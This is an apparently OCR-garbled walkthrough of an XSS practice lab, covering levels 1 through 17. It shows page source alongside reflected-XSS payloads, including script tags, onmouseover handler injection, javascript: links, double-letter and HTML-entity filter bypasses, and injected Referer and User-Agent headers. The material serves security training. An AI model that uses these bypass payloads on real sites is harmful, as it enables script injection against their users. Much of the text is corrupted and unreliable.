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<!DOCTYPE html>

<! --STATUS OK-->
HRILFF P
4 <head>
<meta http-equiv="content-type" content="text/html;cha
4 <script>
window.alert = function()
{
confirm(“FEREEIEE! );

window.location.href="1level2.php?keyword=test”;

b =R
</script>
<title>AiDER1evellc/title>

</head>
4 <body>

<hl align="center">RilEElevell</hl>
<h2 align="centerSAIBAPtest</h23
|I 4 <center>

<img src="levell.png” />
</center>
<h3 align="center">payloadfI{</E:4</h3>
<h3 align="center">By:HACKE>]</h3>
</body>
</html>

fEurlibidpayload: xss.tesla-space.com/levell.php?name=test</h2><script>alert ("xx")

<\script>
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<!DOCTYPE html>
<!--STATUS OK-->

ZBHEAXRIER. s> cbans

4 <body>
| | <hl align="center" > 0% F levelle/hlx>
! ) AT .
KE E P 4 <center>
4 <form action="levell.php” method="GET">

<h2 align="center" >R EHRIFaiBXEGER. </h2>
<input name="keyword” wvalue="a" />

<input name= submi ype="submit™ value="18%" />
< /form>

<fcenter>

-

<center>..</center>
¢h3 align="center”>payloadfIt&E:1</h3>

I RY <h2 align—"center‘">By:|U—\CK#’q< fh2>
</body>

</html>
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M. v onmouseover=alert ()
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<!DOCTYPE html>
<!--STATUS OK-->

ZREREIAEXAER. * asdooctbases

4 <body>
|a \ = <hl align="center" > XIBFKF|1evel3</h1>
s — &

<h2 align="center" >R AT fMatBxAERE . </h2>

4 <center>

4 <form action="level3.php" ="GET">
<input name="keyword” Nalue="a" /

<input name="submit” type="submit” value="1#¥Z=" />
< /form>
</center>»
<center>.</center>

-

<h3 align="center">payloadf1t< /& :1</h3>
<h2 align=“center“>8y:HA(K%QEJ<fh2>
</body>
</html>



BIN" onmouseover=alert () K3 SAREHE

e v — o — <!IDOCIYPE html>
<!--STATUS OK-->

EBEF0" onmouseover=alert() {HXRIZEER. e heas

4 <body>

|" onmouseover=alert() || 2= | <hl align="center">ZLiDFPE|levelld</hl>

b <h2 align="center" > HIEF" onmouseover-alert() THKAL.<c/h2>
4 <center>

\\ 4 <form action="level3.php" method="GET">
<input name="keyword” value="" onmouseover=alert() " />
<input name="submit" tfE:::;:E;;?”_VEIUE?"?§2§“_TS_'-—
</form>
<fcenter>
> <center>.</center>
/

<h3 align="center">payload #H< & :22¢/h3>
<h2 align="center">By:HACKF ></h2>

</body>
I </html>
HIN' onmouseover=alert () 5| S A&
4 <center>
4 <form action="level3.php"” method="GET">
<input name="keyword” onmouseover="alert()" '="" value="" />
<input name="submit" type="submit" value="1Z&F" />
< /form:>
</center:>
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<!DOCTYPE html>
<!--STATUS OK-->

Eﬁ;ﬁﬁj*ﬂtry hal‘dEF!E*Mﬁ%— ‘ ;hf:i;dh,(,’head)
: I E’ﬁ 4 <body>

<hl align="center">Ti0FEF|leveld</hl>
<h2 align="center">#H | fltry harder! BEFIZER. </h2>

frantary

4 <form action="leveld.php” method="GET">»
<input name="keyword” value="try harder!™ />
<input name="submit" type="submit" value="#¥%F" />
< /form>

</center»
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<center>..</center>
<h3 align="center">pavloadfl{</®:11</h3>
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" onmouseover=alert () KIonF[ainT Tk

4 <center:
4 <form action="1levelS5.php" method="GET">

w_mw

<input name="keyword” o _nmouseover="alert()" value="" />

<input name="submit" type="submit" value="3%Z" />
< /form:>
</center:>

b <renters < /rentar:



" /> <script>alert ()</script> scriptF [N T T I
4 <center>
4 <form action="level5.php"” method="GET">
<input name="keyword"” wvalue="" />
4 <scr_ipt>»
T alert() >
<input name="submit” type="submit" value="#¥3Z" />
<fscr_ipt>
< /form:>
</center:>
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Edtﬁéﬂﬂ)ﬂjavascript%ﬁ}i}( " /><a href=javascript:alert ("ccc");>xxx</a>
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<!DOCTYPE html>
<!--STATUS OK-->

ZBEEFN" /><a href=javascript:alert e e ehesds
("cec");>xxx</a>tHKAIEE. 4 <body>

<hl align="center">RIIEE levels</hl>
b <h2 align="center">2HIEF1" /><a href=javascript:al.</h2>

| I&"Z)l = | 4 <center>
- —

4 <form action="level5.php" method="GET">

<input name="keyword" value="" />
<a href="javascript:alert("ccc");"»xxx</a>
<input name="submit” type="submit” value="1¥Z" />
<[form>
</center>
b <center>..</center>
v I I <h3 align="center">payloadf1t</E:44</h3>
k ‘ E v E 5 I <h3 align="center">By:HACKF>l</h3>
</body>
</html>
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" /><a Href=javascript:alert ("ccc") ;>xxx</a>

4 <form action="level7.php"” method="GET">
<input name="keyword” mouseover="alert()"" wvalue="" />

<input name="submit" type="submit" value="3%¥Z" />
< /form:>

</rentar>
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" oonnmouseover=alert ()
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<br f»
<a href="javascr_ipt:alert(’'xss') ;">&EiEE< a>
</center:>



KHEAZTEE, javascr ipt:alert ('xss') ;[JBRAMT

4 <center:
<br />
<a href="javascr ipt:alert('xss') ;">HEiEE/a>
</center:>
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javascripé&#lle:alert('xss') ;
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4 <form action="level9.php" method="GET">
<input name="keyword” value="javascrip&#ll6:alert()” />
<input name="submit™ type="submit” value="/Fi0&I(GHFE" />
< /form:
<fcenters>
4 <center>
<br />
<a href="EMIEETFE?HER! »>EBEEEVa>

<fcenters>

BERRKIADLTEE—NEFRERE, TOEE - M RER S
javascrip&#llé:alert () //http://www.baidu.com

4 <center>
4 <form action="level9.php"” method="GET">
<input name="keyword” value="javascrip&#1l16:alert()//http://wiam.baidu.com™ />
<input name="submit” type="submit" value="iFMEEIEE" />
</form:
</center:>
4 <center:
<br />
<a href="javascript:alert()//http://www.baidu.com™>& E1EE</a>
<fcenter> T

4 <center>»
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4 <form id="search">
<input name="t_link" type="hidden" wvalue="" />
<input name="t_history"” type="hidden" value="" />
<input name="t_sort" type="hidden" walue="" />
</form>»
</center>
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<!DOCTYPE html>
<!--STATUS OK-->
, iy
BB e
k = u =As- b <head>..</head>
4 <body>
<hl align-"center">F 0% E|levellne/hls

a - i = B <h2 align="center">& BB FIIAREIER . </h2>
-l - - - W | E 4 <center>
Eh Le RN | | § [ ) Ba : 4 <form id="search">

<input name="t_link" type="hidden™ value="" />
<input name="t_history"” type="hidden™ value="" />
<input name="t_sort” onmouseover="alert()" type="text" value="" />
< /form>
</center>

4 <center>
<img src="levell®.png” />
</center>
<h3 align="center">payloadfH<E:0</h3>
<h3 align="center">By:HACKF>]</h3>

payload <0 </body>

</html>

By:HACK%3
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referer:'' onmouseover=alert () type="text

<hl align="center"»>ATH!*F1levellls/hl>
<h2 align="center">% T #F good job!HBFXMER.</h2>
4 <center>
4 <form id="search">
<input name="t_link"™ type="hidden" walue="" />
<input name="t_history” type="hidden"” wvalue="" />
<input name="t_sort™ type="hidden" wvalue="" />
<input name="t_ref" onmouseover="alert()" type="text" value="" />
< /form:

</center>»
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5 bE#H[F, fEuser-agentit

SET Nevell 2 php7keyword=good%20job! HTTPA A

qost: xss tesla-space.com

Jser-Agent: Mozilla/s.0 (Windows NT 10.0; WinG4; x64; rv:68.0) Gecko/20100101 Firefox/68.0" onmouseover=alert() type="text
Bccept: text/html application/fxhtml+xml applicationfml;g=0.9 */*g=0.3
Accept-Language: zh-CN zh,g=0.8 zh-TW,g=0.7 zh-HK,gq=0.5 en-U5;q=0 3 en,gq=0 2
Accept-Encoding: gzip, deflate

Connection; close

Jpgrade-Insecure-Requests: 1
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Details

SRIE THA K level 15 ET

FFhekurliFt15¢http:/xss.tesla-space.com/level15.php
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BH<svg onload=alert () >#%
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17

urlAhttp:/xss.tesla-space.com/level17.php?arg01=a&arg02=b
4 <body>»
<hl align="center">IIER levell7</hl>

<embed width="100%" src="xsf@l.swf?a=b" type="application/x-shockwave-flash” heigth="188%" />
4 <h2 align="center">»
BRINE
<a href="levell8.php?arg@l=a&argd2=b">SHHA AT —F</a>
<fh2>
<h3 align="center">By:HACKF>]</h3>
</body>»
</html>

Mi&payload: http://xss.tesla-space.com/levell7.php?arg0l=a&arg02=b"
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